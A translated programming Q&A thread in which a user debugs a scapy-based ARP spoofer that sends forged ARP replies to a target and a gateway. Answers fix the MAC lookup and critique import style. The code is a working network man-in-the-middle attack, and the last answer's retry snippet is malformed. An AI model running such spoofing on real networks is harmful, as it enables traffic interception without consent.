簡體   English   中英

Python 使用 scapy 模塊的 ARP 欺騙器

[英]Python ARP spoofer using scapy module

我試圖按照我在網上找到的教程編寫一個基本的 arp 欺騙程序。 所以我編寫了 arpSpoofer 的基本開始代碼,但是當我執行它時會拋出 IndexError: list index out of range...我確定我在代碼上犯了一個愚蠢的錯誤,但我真的找不到它,我一直在嘗試小時。 代碼是這樣的:

import scapy.all as scapy
from scapy import *
import time

def get_mac(ip):
        arp_request = scapy.ARP(pdst = ip)
        broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast / arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]

        return answered_list[0][1].hwsrc 

def spoof(target_ip, spoof_ip):
        target_mac = get_mac(target_ip)
        packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac,   psrc=spoof_ip)
        scapy.send(packet)




while True:
        spoof("192.168.1.79", "192.168.1.1")
        spoof("192.168.1.1", "192.168.1.79")

確切的錯誤消息是:

Traceback (most recent call last):
  File "arp_spoof.py", line 26, in <module>
    spoof("192.168.1.79", "192.168.1.1")
  File "arp_spoof.py", line 18, in spoof
    target_mac = get_mac(target_ip)
  File "arp_spoof.py", line 15, in get_mac
    return answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range

我會很感激一些幫助...在此先感謝::)

確實, answered_list必須為空。 在嘗試提取碎片之前,您應該檢查這種情況。

可能您需要告訴 Scapy 使用特定接口或調整您的路由規則。 iface參數添加到srp function。 在 Linux 上,這將類似於“eth0”或“enp1s0”。 在 Windows 上,這將是有意義的接口名稱,例如“網絡連接 1”或其他名稱。

您可以在 scapy 中輸入conf.iface來檢查默認界面。 很多時候,默認選擇的是錯誤的。 很可能,這就是你得到一個空列表的原因。

只需一句話:這是重復:

import scapy.all as scapy
from scapy import *

從模塊或 package 導入 * 的做法通常不是好的做法,原因如下: Why import star in Python is a bad idea

以下是關於為什么不應該使用import *的一些要點:

  • 代碼可讀性
  • 導入的內容始終是一個謎,並且無法輕易找到 - 導入了某個東西的模塊導致代碼可讀性低。
  • 污染命名空間import *導入您自己命名空間中可能與 function 和您定義的類或 function 和您可能導入的其他庫的類發生沖突的所有函數和類。
  • 隱藏錯誤的具體可能性
  • pyflakes 之類的工具不能用於靜態檢測源代碼中的錯誤。

最好只導入您需要的內容,例如:

from scapy.all import srp,send,ARP
scapy_ip = scapy.ARP(pdst=ip)
scapy_mac = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
scapy_broadcast = scapy_mac/scapy_ip
ans, unans = scapy.srp(scapy_broadcast, timeout=1, iface="eth0")

for i in ans:
    print(i[1].psrc, i[1].hwsrc)

我更改了 get_mac function 如下以確保mac不為空

def get_mac(ip):
mac = "xx"
while mac == "xx":
    try:
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout=1 , verbose=False)[0]
        mac = answered_list[0][1].hwsrc
        # print(mac)
    except:
        pass
    finally:
        return mac

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM